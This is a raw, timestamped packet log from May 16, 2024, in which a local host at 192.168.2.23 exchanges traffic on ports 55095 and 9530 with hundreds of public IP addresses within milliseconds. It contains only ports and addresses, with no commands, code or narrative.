May 16, 2024 16:38:52.992937088 CEST	9530	55095	206.210.127.47	192.168.2.23
May 16, 2024 16:38:52.992938995 CEST	9530	55095	195.221.142.20	192.168.2.23
May 16, 2024 16:38:52.992939949 CEST	55095	9530	192.168.2.23	121.92.130.181
May 16, 2024 16:38:52.992948055 CEST	55095	9530	192.168.2.23	206.59.133.160
May 16, 2024 16:38:52.992948055 CEST	55095	9530	192.168.2.23	189.52.111.55
May 16, 2024 16:38:52.992955923 CEST	55095	9530	192.168.2.23	32.160.139.109
May 16, 2024 16:38:52.992959023 CEST	55095	9530	192.168.2.23	135.145.210.114
May 16, 2024 16:38:52.992964029 CEST	55095	9530	192.168.2.23	75.197.170.120
May 16, 2024 16:38:52.992964983 CEST	55095	9530	192.168.2.23	156.151.17.24
May 16, 2024 16:38:52.992978096 CEST	55095	9530	192.168.2.23	123.184.200.116
May 16, 2024 16:38:52.992978096 CEST	55095	9530	192.168.2.23	54.41.31.11
May 16, 2024 16:38:52.992988110 CEST	55095	9530	192.168.2.23	206.210.127.47
May 16, 2024 16:38:52.992988110 CEST	55095	9530	192.168.2.23	70.34.97.76
May 16, 2024 16:38:52.992988110 CEST	55095	9530	192.168.2.23	123.162.44.181
May 16, 2024 16:38:52.992989063 CEST	55095	9530	192.168.2.23	45.159.80.190
May 16, 2024 16:38:52.992988110 CEST	55095	9530	192.168.2.23	195.221.142.20
May 16, 2024 16:38:52.993284941 CEST	9530	55095	167.43.106.161	192.168.2.23
May 16, 2024 16:38:52.993295908 CEST	9530	55095	86.124.100.217	192.168.2.23
May 16, 2024 16:38:52.993314981 CEST	9530	55095	144.172.134.108	192.168.2.23
May 16, 2024 16:38:52.993318081 CEST	9530	55095	157.105.199.179	192.168.2.23
May 16, 2024 16:38:52.993319988 CEST	9530	55095	108.11.172.48	192.168.2.23
May 16, 2024 16:38:52.993323088 CEST	55095	9530	192.168.2.23	167.43.106.161
May 16, 2024 16:38:52.993329048 CEST	9530	55095	135.110.204.124	192.168.2.23
May 16, 2024 16:38:52.993338108 CEST	9530	55095	152.83.170.201	192.168.2.23
May 16, 2024 16:38:52.993346930 CEST	9530	55095	193.81.150.30	192.168.2.23
May 16, 2024 16:38:52.993350983 CEST	9530	55095	177.43.134.206	192.168.2.23
May 16, 2024 16:38:52.993354082 CEST	55095	9530	192.168.2.23	144.172.134.108
May 16, 2024 16:38:52.993355036 CEST	9530	55095	206.210.216.198	192.168.2.23
May 16, 2024 16:38:52.993359089 CEST	9530	55095	125.145.72.248	192.168.2.23
May 16, 2024 16:38:52.993359089 CEST	55095	9530	192.168.2.23	86.124.100.217
May 16, 2024 16:38:52.993359089 CEST	55095	9530	192.168.2.23	108.11.172.48
May 16, 2024 16:38:52.993364096 CEST	9530	55095	205.132.13.121	192.168.2.23
May 16, 2024 16:38:52.993369102 CEST	9530	55095	42.72.71.142	192.168.2.23
May 16, 2024 16:38:52.993372917 CEST	55095	9530	192.168.2.23	135.110.204.124
May 16, 2024 16:38:52.993383884 CEST	55095	9530	192.168.2.23	157.105.199.179
May 16, 2024 16:38:52.993383884 CEST	55095	9530	192.168.2.23	152.83.170.201
May 16, 2024 16:38:52.993383884 CEST	55095	9530	192.168.2.23	193.81.150.30
May 16, 2024 16:38:52.993391037 CEST	9530	55095	23.238.69.3	192.168.2.23
May 16, 2024 16:38:52.993403912 CEST	9530	55095	76.32.204.210	192.168.2.23
May 16, 2024 16:38:52.993405104 CEST	55095	9530	192.168.2.23	205.132.13.121
May 16, 2024 16:38:52.993405104 CEST	55095	9530	192.168.2.23	206.210.216.198
May 16, 2024 16:38:52.993415117 CEST	9530	55095	52.138.139.244	192.168.2.23
May 16, 2024 16:38:52.993422031 CEST	55095	9530	192.168.2.23	125.145.72.248
May 16, 2024 16:38:52.993423939 CEST	9530	55095	114.223.171.231	192.168.2.23
May 16, 2024 16:38:52.993432045 CEST	55095	9530	192.168.2.23	76.32.204.210
May 16, 2024 16:38:52.993433952 CEST	9530	55095	75.111.71.40	192.168.2.23
May 16, 2024 16:38:52.993434906 CEST	55095	9530	192.168.2.23	177.43.134.206
May 16, 2024 16:38:52.993437052 CEST	55095	9530	192.168.2.23	42.72.71.142
May 16, 2024 16:38:52.993437052 CEST	55095	9530	192.168.2.23	23.238.69.3
May 16, 2024 16:38:52.993444920 CEST	9530	55095	141.239.14.8	192.168.2.23
May 16, 2024 16:38:52.993449926 CEST	55095	9530	192.168.2.23	52.138.139.244
May 16, 2024 16:38:52.993459940 CEST	9530	55095	131.55.130.56	192.168.2.23
May 16, 2024 16:38:52.993463993 CEST	55095	9530	192.168.2.23	114.223.171.231
May 16, 2024 16:38:52.993478060 CEST	9530	55095	135.36.22.103	192.168.2.23
May 16, 2024 16:38:52.993489027 CEST	9530	55095	153.105.250.158	192.168.2.23
May 16, 2024 16:38:52.993495941 CEST	55095	9530	192.168.2.23	131.55.130.56
May 16, 2024 16:38:52.993498087 CEST	9530	55095	116.59.152.46	192.168.2.23
May 16, 2024 16:38:52.993498087 CEST	55095	9530	192.168.2.23	75.111.71.40
May 16, 2024 16:38:52.993499041 CEST	55095	9530	192.168.2.23	141.239.14.8
May 16, 2024 16:38:52.993513107 CEST	9530	55095	4.32.253.66	192.168.2.23
May 16, 2024 16:38:52.993516922 CEST	55095	9530	192.168.2.23	135.36.22.103
May 16, 2024 16:38:52.993519068 CEST	9530	55095	101.82.253.32	192.168.2.23
May 16, 2024 16:38:52.993525028 CEST	9530	55095	131.254.162.11	192.168.2.23
May 16, 2024 16:38:52.993526936 CEST	9530	55095	161.147.65.193	192.168.2.23
May 16, 2024 16:38:52.993531942 CEST	9530	55095	190.244.203.168	192.168.2.23
May 16, 2024 16:38:52.993532896 CEST	9530	55095	14.83.43.213	192.168.2.23
May 16, 2024 16:38:52.993534088 CEST	55095	9530	192.168.2.23	153.105.250.158
May 16, 2024 16:38:52.993535995 CEST	9530	55095	106.53.185.145	192.168.2.23
May 16, 2024 16:38:52.993534088 CEST	55095	9530	192.168.2.23	116.59.152.46
May 16, 2024 16:38:52.993540049 CEST	9530	55095	149.23.40.221	192.168.2.23
May 16, 2024 16:38:52.993546009 CEST	9530	55095	9.238.39.57	192.168.2.23
May 16, 2024 16:38:52.993547916 CEST	9530	55095	36.222.140.164	192.168.2.23
May 16, 2024 16:38:52.993554115 CEST	9530	55095	62.54.45.230	192.168.2.23
May 16, 2024 16:38:52.993555069 CEST	55095	9530	192.168.2.23	131.254.162.11
May 16, 2024 16:38:52.993555069 CEST	55095	9530	192.168.2.23	161.147.65.193
May 16, 2024 16:38:52.993561029 CEST	55095	9530	192.168.2.23	106.53.185.145
May 16, 2024 16:38:52.993561029 CEST	9530	55095	160.196.174.20	192.168.2.23
May 16, 2024 16:38:52.993562937 CEST	55095	9530	192.168.2.23	14.83.43.213
May 16, 2024 16:38:52.993566036 CEST	9530	55095	131.77.238.92	192.168.2.23
May 16, 2024 16:38:52.993568897 CEST	9530	55095	148.206.203.4	192.168.2.23
May 16, 2024 16:38:52.993570089 CEST	9530	55095	136.224.197.74	192.168.2.23
May 16, 2024 16:38:52.993571043 CEST	9530	55095	8.210.187.85	192.168.2.23
May 16, 2024 16:38:52.993572950 CEST	9530	55095	162.154.135.162	192.168.2.23
May 16, 2024 16:38:52.993575096 CEST	55095	9530	192.168.2.23	62.54.45.230
May 16, 2024 16:38:52.993576050 CEST	9530	55095	72.15.218.57	192.168.2.23
May 16, 2024 16:38:52.993576050 CEST	55095	9530	192.168.2.23	149.23.40.221
May 16, 2024 16:38:52.993577003 CEST	55095	9530	192.168.2.23	9.238.39.57
May 16, 2024 16:38:52.993576050 CEST	55095	9530	192.168.2.23	4.32.253.66
May 16, 2024 16:38:52.993591070 CEST	55095	9530	192.168.2.23	101.82.253.32
May 16, 2024 16:38:52.993613958 CEST	55095	9530	192.168.2.23	190.244.203.168
May 16, 2024 16:38:52.993616104 CEST	55095	9530	192.168.2.23	36.222.140.164
May 16, 2024 16:38:52.993618011 CEST	55095	9530	192.168.2.23	131.77.238.92
May 16, 2024 16:38:52.993618965 CEST	55095	9530	192.168.2.23	160.196.174.20
May 16, 2024 16:38:52.993618965 CEST	55095	9530	192.168.2.23	72.15.218.57
May 16, 2024 16:38:52.993618965 CEST	55095	9530	192.168.2.23	162.154.135.162
May 16, 2024 16:38:52.993618965 CEST	55095	9530	192.168.2.23	148.206.203.4
May 16, 2024 16:38:52.993644953 CEST	55095	9530	192.168.2.23	8.210.187.85
May 16, 2024 16:38:52.993649006 CEST	55095	9530	192.168.2.23	136.224.197.74
May 16, 2024 16:38:52.994055033 CEST	9530	55095	80.187.125.115	192.168.2.23
May 16, 2024 16:38:52.994067907 CEST	9530	55095	104.96.231.97	192.168.2.23
May 16, 2024 16:38:52.994079113 CEST	9530	55095	218.176.30.251	192.168.2.23
May 16, 2024 16:38:52.994090080 CEST	9530	55095	9.17.16.60	192.168.2.23
May 16, 2024 16:38:52.994093895 CEST	9530	55095	75.32.158.47	192.168.2.23
May 16, 2024 16:38:52.994102955 CEST	9530	55095	52.206.243.227	192.168.2.23
May 16, 2024 16:38:52.994113922 CEST	9530	55095	89.178.53.94	192.168.2.23
May 16, 2024 16:38:52.994121075 CEST	55095	9530	192.168.2.23	80.187.125.115
May 16, 2024 16:38:52.994126081 CEST	9530	55095	163.242.97.254	192.168.2.23
May 16, 2024 16:38:52.994131088 CEST	55095	9530	192.168.2.23	9.17.16.60
May 16, 2024 16:38:52.994132996 CEST	55095	9530	192.168.2.23	104.96.231.97
May 16, 2024 16:38:52.994132996 CEST	55095	9530	192.168.2.23	218.176.30.251
May 16, 2024 16:38:52.994147062 CEST	9530	55095	156.56.221.34	192.168.2.23
May 16, 2024 16:38:52.994153023 CEST	9530	55095	63.185.228.168	192.168.2.23
May 16, 2024 16:38:52.994158030 CEST	9530	55095	73.102.187.79	192.168.2.23
May 16, 2024 16:38:52.994159937 CEST	55095	9530	192.168.2.23	52.206.243.227
May 16, 2024 16:38:52.994163990 CEST	9530	55095	203.173.249.129	192.168.2.23
May 16, 2024 16:38:52.994168997 CEST	9530	55095	126.150.42.50	192.168.2.23
May 16, 2024 16:38:52.994174004 CEST	9530	55095	220.106.199.224	192.168.2.23
May 16, 2024 16:38:52.994177103 CEST	9530	55095	13.16.123.8	192.168.2.23
May 16, 2024 16:38:52.994180918 CEST	9530	55095	65.254.112.42	192.168.2.23
May 16, 2024 16:38:52.994183064 CEST	55095	9530	192.168.2.23	63.185.228.168
May 16, 2024 16:38:52.994183064 CEST	9530	55095	108.123.88.13	192.168.2.23
May 16, 2024 16:38:52.994185925 CEST	55095	9530	192.168.2.23	89.178.53.94
May 16, 2024 16:38:52.994185925 CEST	55095	9530	192.168.2.23	163.242.97.254
May 16, 2024 16:38:52.994185925 CEST	55095	9530	192.168.2.23	156.56.221.34
May 16, 2024 16:38:52.994189978 CEST	9530	55095	101.139.164.253	192.168.2.23
May 16, 2024 16:38:52.994194031 CEST	55095	9530	192.168.2.23	73.102.187.79
May 16, 2024 16:38:52.994194984 CEST	9530	55095	194.135.97.205	192.168.2.23
May 16, 2024 16:38:52.994198084 CEST	9530	55095	163.121.221.47	192.168.2.23
May 16, 2024 16:38:52.994199038 CEST	55095	9530	192.168.2.23	203.173.249.129
May 16, 2024 16:38:52.994199991 CEST	55095	9530	192.168.2.23	126.150.42.50
May 16, 2024 16:38:52.994201899 CEST	9530	55095	68.147.222.204	192.168.2.23
May 16, 2024 16:38:52.994208097 CEST	9530	55095	74.253.73.96	192.168.2.23
May 16, 2024 16:38:52.994213104 CEST	9530	55095	169.219.25.134	192.168.2.23
May 16, 2024 16:38:52.994213104 CEST	55095	9530	192.168.2.23	13.16.123.8
May 16, 2024 16:38:52.994219065 CEST	9530	55095	66.140.186.122	192.168.2.23
May 16, 2024 16:38:52.994224072 CEST	9530	55095	156.65.130.204	192.168.2.23
May 16, 2024 16:38:52.994229078 CEST	9530	55095	195.198.164.200	192.168.2.23
May 16, 2024 16:38:52.994232893 CEST	9530	55095	85.100.176.38	192.168.2.23
May 16, 2024 16:38:52.994236946 CEST	9530	55095	17.235.190.166	192.168.2.23
May 16, 2024 16:38:52.994241953 CEST	9530	55095	82.7.39.29	192.168.2.23
May 16, 2024 16:38:52.994249105 CEST	9530	55095	138.67.231.189	192.168.2.23
May 16, 2024 16:38:52.994249105 CEST	55095	9530	192.168.2.23	74.253.73.96
May 16, 2024 16:38:52.994249105 CEST	55095	9530	192.168.2.23	108.123.88.13
May 16, 2024 16:38:52.994249105 CEST	55095	9530	192.168.2.23	163.121.221.47
May 16, 2024 16:38:52.994249105 CEST	55095	9530	192.168.2.23	194.135.97.205
May 16, 2024 16:38:52.994250059 CEST	55095	9530	192.168.2.23	220.106.199.224
May 16, 2024 16:38:52.994249105 CEST	55095	9530	192.168.2.23	68.147.222.204
May 16, 2024 16:38:52.994251966 CEST	55095	9530	192.168.2.23	101.139.164.253
May 16, 2024 16:38:52.994254112 CEST	9530	55095	24.74.229.100	192.168.2.23
May 16, 2024 16:38:52.994256973 CEST	55095	9530	192.168.2.23	66.140.186.122
May 16, 2024 16:38:52.994259119 CEST	9530	55095	181.225.140.238	192.168.2.23
May 16, 2024 16:38:52.994263887 CEST	9530	55095	220.181.162.14	192.168.2.23
May 16, 2024 16:38:52.994267941 CEST	55095	9530	192.168.2.23	75.32.158.47
May 16, 2024 16:38:52.994268894 CEST	55095	9530	192.168.2.23	17.235.190.166
May 16, 2024 16:38:52.994270086 CEST	55095	9530	192.168.2.23	195.198.164.200
May 16, 2024 16:38:52.994271040 CEST	55095	9530	192.168.2.23	156.65.130.204
May 16, 2024 16:38:52.994277000 CEST	55095	9530	192.168.2.23	85.100.176.38
May 16, 2024 16:38:52.994286060 CEST	55095	9530	192.168.2.23	82.7.39.29
May 16, 2024 16:38:52.994293928 CEST	55095	9530	192.168.2.23	65.254.112.42
May 16, 2024 16:38:52.994294882 CEST	55095	9530	192.168.2.23	169.219.25.134
May 16, 2024 16:38:52.994302034 CEST	55095	9530	192.168.2.23	138.67.231.189
May 16, 2024 16:38:52.994304895 CEST	55095	9530	192.168.2.23	181.225.140.238
May 16, 2024 16:38:52.994304895 CEST	55095	9530	192.168.2.23	24.74.229.100
May 16, 2024 16:38:52.994462967 CEST	50792	52869	192.168.2.23	222.221.120.15
May 16, 2024 16:38:52.994465113 CEST	55095	9530	192.168.2.23	220.181.162.14
May 16, 2024 16:38:52.995003939 CEST	9530	55095	43.166.213.3	192.168.2.23
May 16, 2024 16:38:52.995009899 CEST	9530	55095	139.44.144.254	192.168.2.23
May 16, 2024 16:38:52.995019913 CEST	9530	55095	112.172.137.164	192.168.2.23
May 16, 2024 16:38:52.995028973 CEST	9530	55095	159.63.244.204	192.168.2.23
May 16, 2024 16:38:52.995038033 CEST	55095	9530	192.168.2.23	43.166.213.3
May 16, 2024 16:38:52.995040894 CEST	9530	55095	59.142.41.154	192.168.2.23
May 16, 2024 16:38:52.995050907 CEST	9530	55095	68.244.148.156	192.168.2.23
May 16, 2024 16:38:52.995054007 CEST	55095	9530	192.168.2.23	139.44.144.254
May 16, 2024 16:38:52.995058060 CEST	55095	9530	192.168.2.23	112.172.137.164
May 16, 2024 16:38:52.995065928 CEST	55095	9530	192.168.2.23	159.63.244.204
May 16, 2024 16:38:52.995069027 CEST	9530	55095	5.15.75.29	192.168.2.23
May 16, 2024 16:38:52.995078087 CEST	55095	9530	192.168.2.23	59.142.41.154
May 16, 2024 16:38:52.995081902 CEST	9530	55095	45.204.13.13	192.168.2.23
May 16, 2024 16:38:52.995088100 CEST	9530	55095	153.96.227.236	192.168.2.23
May 16, 2024 16:38:52.995094061 CEST	9530	55095	57.244.160.50	192.168.2.23
May 16, 2024 16:38:52.995095968 CEST	9530	55095	118.222.130.136	192.168.2.23
May 16, 2024 16:38:52.995100975 CEST	9530	55095	37.162.196.116	192.168.2.23
May 16, 2024 16:38:52.995105028 CEST	55095	9530	192.168.2.23	5.15.75.29
May 16, 2024 16:38:52.995105982 CEST	9530	55095	159.39.53.44	192.168.2.23
May 16, 2024 16:38:52.995110989 CEST	9530	55095	52.40.235.239	192.168.2.23
May 16, 2024 16:38:52.995111942 CEST	9530	55095	180.118.37.203	192.168.2.23
May 16, 2024 16:38:52.995114088 CEST	9530	55095	146.24.105.46	192.168.2.23
May 16, 2024 16:38:52.995115995 CEST	55095	9530	192.168.2.23	45.204.13.13
May 16, 2024 16:38:52.995117903 CEST	9530	55095	139.169.64.135	192.168.2.23
May 16, 2024 16:38:52.995122910 CEST	9530	55095	143.1.116.42	192.168.2.23
May 16, 2024 16:38:52.995127916 CEST	9530	55095	93.15.190.158	192.168.2.23
May 16, 2024 16:38:52.995129108 CEST	9530	55095	144.218.189.19	192.168.2.23
May 16, 2024 16:38:52.995130062 CEST	55095	9530	192.168.2.23	57.244.160.50
May 16, 2024 16:38:52.995141029 CEST	55095	9530	192.168.2.23	37.162.196.116
May 16, 2024 16:38:52.995145082 CEST	55095	9530	192.168.2.23	118.222.130.136
May 16, 2024 16:38:52.995148897 CEST	55095	9530	192.168.2.23	153.96.227.236
May 16, 2024 16:38:52.995151997 CEST	55095	9530	192.168.2.23	68.244.148.156
May 16, 2024 16:38:52.995156050 CEST	55095	9530	192.168.2.23	180.118.37.203
May 16, 2024 16:38:52.995168924 CEST	55095	9530	192.168.2.23	52.40.235.239
May 16, 2024 16:38:52.995176077 CEST	55095	9530	192.168.2.23	143.1.116.42
May 16, 2024 16:38:52.995187998 CEST	55095	9530	192.168.2.23	139.169.64.135
May 16, 2024 16:38:52.995187998 CEST	55095	9530	192.168.2.23	146.24.105.46
May 16, 2024 16:38:52.995187998 CEST	55095	9530	192.168.2.23	159.39.53.44
May 16, 2024 16:38:52.995203972 CEST	55095	9530	192.168.2.23	93.15.190.158
May 16, 2024 16:38:52.995207071 CEST	55095	9530	192.168.2.23	144.218.189.19
May 16, 2024 16:38:52.995893002 CEST	9530	55095	4.110.253.253	192.168.2.23
May 16, 2024 16:38:52.995906115 CEST	9530	55095	146.169.30.245	192.168.2.23
May 16, 2024 16:38:52.995914936 CEST	9530	55095	180.202.154.134	192.168.2.23
May 16, 2024 16:38:52.995923042 CEST	9530	55095	158.225.64.73	192.168.2.23
May 16, 2024 16:38:52.995934963 CEST	55095	9530	192.168.2.23	4.110.253.253
May 16, 2024 16:38:52.995937109 CEST	55095	9530	192.168.2.23	146.169.30.245
May 16, 2024 16:38:52.995943069 CEST	55095	9530	192.168.2.23	180.202.154.134
May 16, 2024 16:38:52.995944023 CEST	9530	55095	136.87.185.69	192.168.2.23
May 16, 2024 16:38:52.995949984 CEST	9530	55095	112.228.33.103	192.168.2.23
May 16, 2024 16:38:52.995954990 CEST	9530	55095	208.3.17.170	192.168.2.23
May 16, 2024 16:38:52.995960951 CEST	55095	9530	192.168.2.23	158.225.64.73
May 16, 2024 16:38:52.995960951 CEST	9530	55095	108.150.38.154	192.168.2.23
May 16, 2024 16:38:52.995966911 CEST	9530	55095	58.21.191.209	192.168.2.23
May 16, 2024 16:38:52.995970964 CEST	9530	55095	74.142.152.156	192.168.2.23
May 16, 2024 16:38:52.995975971 CEST	55095	9530	192.168.2.23	136.87.185.69
May 16, 2024 16:38:52.995975971 CEST	9530	55095	211.25.4.218	192.168.2.23
May 16, 2024 16:38:52.995975971 CEST	55095	9530	192.168.2.23	208.3.17.170
May 16, 2024 16:38:52.995982885 CEST	9530	55095	177.156.130.252	192.168.2.23
May 16, 2024 16:38:52.995986938 CEST	55095	9530	192.168.2.23	108.150.38.154
May 16, 2024 16:38:52.995989084 CEST	9530	55095	150.67.41.154	192.168.2.23
May 16, 2024 16:38:52.995992899 CEST	9530	55095	146.192.162.222	192.168.2.23
May 16, 2024 16:38:52.995997906 CEST	9530	55095	50.191.80.114	192.168.2.23
May 16, 2024 16:38:52.996002913 CEST	9530	55095	47.179.4.168	192.168.2.23
May 16, 2024 16:38:52.996004105 CEST	55095	9530	192.168.2.23	74.142.152.156
May 16, 2024 16:38:52.996006012 CEST	9530	55095	146.105.235.206	192.168.2.23
May 16, 2024 16:38:52.996011019 CEST	9530	55095	151.22.117.195	192.168.2.23
May 16, 2024 16:38:52.996011972 CEST	9530	55095	57.45.132.49	192.168.2.23
May 16, 2024 16:38:52.996016026 CEST	9530	55095	18.144.197.112	192.168.2.23
May 16, 2024 16:38:52.996017933 CEST	55095	9530	192.168.2.23	58.21.191.209
May 16, 2024 16:38:52.996017933 CEST	55095	9530	192.168.2.23	211.25.4.218
May 16, 2024 16:38:52.996031046 CEST	55095	9530	192.168.2.23	177.156.130.252
May 16, 2024 16:38:52.996037006 CEST	55095	9530	192.168.2.23	150.67.41.154
May 16, 2024 16:38:52.996037006 CEST	55095	9530	192.168.2.23	146.192.162.222
May 16, 2024 16:38:52.996042013 CEST	55095	9530	192.168.2.23	112.228.33.103
May 16, 2024 16:38:52.996048927 CEST	55095	9530	192.168.2.23	151.22.117.195
May 16, 2024 16:38:52.996062994 CEST	55095	9530	192.168.2.23	47.179.4.168
May 16, 2024 16:38:52.996062994 CEST	55095	9530	192.168.2.23	146.105.235.206
May 16, 2024 16:38:52.996084929 CEST	55095	9530	192.168.2.23	50.191.80.114
May 16, 2024 16:38:52.996087074 CEST	55095	9530	192.168.2.23	57.45.132.49
May 16, 2024 16:38:52.996090889 CEST	55095	9530	192.168.2.23	18.144.197.112
May 16, 2024 16:38:52.996814013 CEST	9530	55095	191.58.147.17	192.168.2.23
May 16, 2024 16:38:52.996828079 CEST	9530	55095	140.35.166.130	192.168.2.23
May 16, 2024 16:38:52.996844053 CEST	9530	55095	34.189.141.102	192.168.2.23
May 16, 2024 16:38:52.996845961 CEST	9530	55095	184.49.116.59	192.168.2.23
May 16, 2024 16:38:52.996846914 CEST	9530	55095	156.241.203.105	192.168.2.23
May 16, 2024 16:38:52.996849060 CEST	9530	55095	50.50.40.155	192.168.2.23
May 16, 2024 16:38:52.996850967 CEST	9530	55095	219.243.10.94	192.168.2.23
May 16, 2024 16:38:52.996862888 CEST	9530	55095	162.84.120.180	192.168.2.23
May 16, 2024 16:38:52.996864080 CEST	55095	9530	192.168.2.23	140.35.166.130
May 16, 2024 16:38:52.996866941 CEST	55095	9530	192.168.2.23	191.58.147.17
May 16, 2024 16:38:52.996875048 CEST	55095	9530	192.168.2.23	34.189.141.102
May 16, 2024 16:38:52.996876001 CEST	55095	9530	192.168.2.23	156.241.203.105
May 16, 2024 16:38:52.996877909 CEST	9530	55095	176.218.223.226	192.168.2.23
May 16, 2024 16:38:52.996880054 CEST	55095	9530	192.168.2.23	50.50.40.155
May 16, 2024 16:38:52.996885061 CEST	55095	9530	192.168.2.23	184.49.116.59
May 16, 2024 16:38:52.996887922 CEST	9530	55095	39.205.242.53	192.168.2.23
May 16, 2024 16:38:52.996897936 CEST	55095	9530	192.168.2.23	219.243.10.94
May 16, 2024 16:38:52.996901035 CEST	9530	55095	164.76.69.145	192.168.2.23
May 16, 2024 16:38:52.996901035 CEST	55095	9530	192.168.2.23	162.84.120.180
May 16, 2024 16:38:52.996906996 CEST	9530	55095	142.20.255.227	192.168.2.23
May 16, 2024 16:38:52.996912956 CEST	9530	55095	87.41.244.174	192.168.2.23
May 16, 2024 16:38:52.996913910 CEST	9530	55095	23.171.104.51	192.168.2.23
May 16, 2024 16:38:52.996920109 CEST	9530	55095	12.118.226.36	192.168.2.23
May 16, 2024 16:38:52.996922016 CEST	9530	55095	189.234.233.15	192.168.2.23
May 16, 2024 16:38:52.996923923 CEST	9530	55095	130.161.133.236	192.168.2.23
May 16, 2024 16:38:52.996927023 CEST	55095	9530	192.168.2.23	39.205.242.53
May 16, 2024 16:38:52.996927023 CEST	55095	9530	192.168.2.23	176.218.223.226
May 16, 2024 16:38:52.996934891 CEST	9530	55095	63.71.2.229	192.168.2.23
May 16, 2024 16:38:52.996937990 CEST	55095	9530	192.168.2.23	142.20.255.227
May 16, 2024 16:38:52.996947050 CEST	9530	55095	146.49.220.181	192.168.2.23
May 16, 2024 16:38:52.996948957 CEST	55095	9530	192.168.2.23	164.76.69.145
May 16, 2024 16:38:52.996953011 CEST	55095	9530	192.168.2.23	23.171.104.51
May 16, 2024 16:38:52.996953011 CEST	55095	9530	192.168.2.23	189.234.233.15
May 16, 2024 16:38:52.996956110 CEST	55095	9530	192.168.2.23	12.118.226.36
May 16, 2024 16:38:52.996959925 CEST	9530	55095	43.232.160.93	192.168.2.23
May 16, 2024 16:38:52.996967077 CEST	55095	9530	192.168.2.23	130.161.133.236
May 16, 2024 16:38:52.996969938 CEST	9530	55095	106.104.221.205	192.168.2.23
May 16, 2024 16:38:52.996984959 CEST	9530	55095	129.92.141.192	192.168.2.23
May 16, 2024 16:38:52.996987104 CEST	55095	9530	192.168.2.23	63.71.2.229
May 16, 2024 16:38:52.996987104 CEST	55095	9530	192.168.2.23	146.49.220.181
May 16, 2024 16:38:52.996990919 CEST	55095	9530	192.168.2.23	87.41.244.174
May 16, 2024 16:38:52.996999025 CEST	55095	9530	192.168.2.23	106.104.221.205
May 16, 2024 16:38:52.997000933 CEST	9530	55095	50.42.13.57	192.168.2.23
May 16, 2024 16:38:52.997001886 CEST	55095	9530	192.168.2.23	43.232.160.93
May 16, 2024 16:38:52.997013092 CEST	55095	9530	192.168.2.23	129.92.141.192
May 16, 2024 16:38:52.997023106 CEST	9530	55095	58.25.118.212	192.168.2.23
May 16, 2024 16:38:52.997025967 CEST	9530	55095	119.111.61.52	192.168.2.23
May 16, 2024 16:38:52.997030020 CEST	9530	55095	109.186.7.102	192.168.2.23
May 16, 2024 16:38:52.997030973 CEST	55095	9530	192.168.2.23	50.42.13.57
May 16, 2024 16:38:52.997034073 CEST	9530	55095	52.77.58.229	192.168.2.23
May 16, 2024 16:38:52.997045040 CEST	9530	55095	185.51.254.221	192.168.2.23
May 16, 2024 16:38:52.997052908 CEST	9530	55095	62.1.159.157	192.168.2.23
May 16, 2024 16:38:52.997061968 CEST	9530	55095	45.83.221.89	192.168.2.23
May 16, 2024 16:38:52.997066975 CEST	55095	9530	192.168.2.23	119.111.61.52
May 16, 2024 16:38:52.997075081 CEST	55095	9530	192.168.2.23	109.186.7.102
May 16, 2024 16:38:52.997076988 CEST	55095	9530	192.168.2.23	58.25.118.212
May 16, 2024 16:38:52.997080088 CEST	9530	55095	187.232.252.203	192.168.2.23
May 16, 2024 16:38:52.997082949 CEST	9530	55095	78.129.178.67	192.168.2.23
May 16, 2024 16:38:52.997088909 CEST	9530	55095	87.67.87.223	192.168.2.23
May 16, 2024 16:38:52.997092962 CEST	55095	9530	192.168.2.23	45.83.221.89
May 16, 2024 16:38:52.997096062 CEST	9530	55095	150.249.110.225	192.168.2.23
May 16, 2024 16:38:52.997096062 CEST	55095	9530	192.168.2.23	185.51.254.221
May 16, 2024 16:38:52.997097969 CEST	9530	55095	18.56.128.255	192.168.2.23
May 16, 2024 16:38:52.997098923 CEST	9530	55095	73.197.55.240	192.168.2.23
May 16, 2024 16:38:52.997101068 CEST	9530	55095	179.31.61.47	192.168.2.23
May 16, 2024 16:38:52.997108936 CEST	55095	9530	192.168.2.23	62.1.159.157
May 16, 2024 16:38:52.997113943 CEST	55095	9530	192.168.2.23	52.77.58.229
May 16, 2024 16:38:52.997113943 CEST	9530	55095	195.235.127.59	192.168.2.23
May 16, 2024 16:38:52.997113943 CEST	55095	9530	192.168.2.23	78.129.178.67
May 16, 2024 16:38:52.997127056 CEST	55095	9530	192.168.2.23	187.232.252.203
May 16, 2024 16:38:52.997128010 CEST	55095	9530	192.168.2.23	87.67.87.223
May 16, 2024 16:38:52.997133017 CEST	9530	55095	217.137.148.158	192.168.2.23
May 16, 2024 16:38:52.997137070 CEST	55095	9530	192.168.2.23	150.249.110.225
May 16, 2024 16:38:52.997138023 CEST	9530	55095	104.56.29.19	192.168.2.23
May 16, 2024 16:38:52.997138023 CEST	55095	9530	192.168.2.23	18.56.128.255
May 16, 2024 16:38:52.997153044 CEST	9530	55095	64.104.239.97	192.168.2.23
May 16, 2024 16:38:52.997167110 CEST	55095	9530	192.168.2.23	179.31.61.47
May 16, 2024 16:38:52.997174025 CEST	55095	9530	192.168.2.23	73.197.55.240
May 16, 2024 16:38:52.997174025 CEST	55095	9530	192.168.2.23	195.235.127.59
May 16, 2024 16:38:52.997184038 CEST	55095	9530	192.168.2.23	217.137.148.158
May 16, 2024 16:38:52.997185946 CEST	55095	9530	192.168.2.23	104.56.29.19
May 16, 2024 16:38:52.997185946 CEST	55095	9530	192.168.2.23	64.104.239.97
May 16, 2024 16:38:52.997323990 CEST	9530	55095	2.157.247.251	192.168.2.23
May 16, 2024 16:38:52.997337103 CEST	9530	55095	84.252.150.31	192.168.2.23
May 16, 2024 16:38:52.997344971 CEST	9530	55095	94.31.100.24	192.168.2.23
May 16, 2024 16:38:52.997364998 CEST	55095	9530	192.168.2.23	2.157.247.251
May 16, 2024 16:38:52.997365952 CEST	9530	55095	8.89.65.210	192.168.2.23
May 16, 2024 16:38:52.997375965 CEST	9530	55095	186.73.194.29	192.168.2.23
May 16, 2024 16:38:52.997387886 CEST	55095	9530	192.168.2.23	84.252.150.31
May 16, 2024 16:38:52.997389078 CEST	9530	55095	51.5.143.110	192.168.2.23
May 16, 2024 16:38:52.997392893 CEST	55095	9530	192.168.2.23	94.31.100.24
May 16, 2024 16:38:52.997397900 CEST	9530	55095	107.97.227.152	192.168.2.23
May 16, 2024 16:38:52.997401953 CEST	55095	9530	192.168.2.23	8.89.65.210
May 16, 2024 16:38:52.997406960 CEST	9530	55095	61.149.238.168	192.168.2.23
May 16, 2024 16:38:52.997414112 CEST	55095	9530	192.168.2.23	186.73.194.29
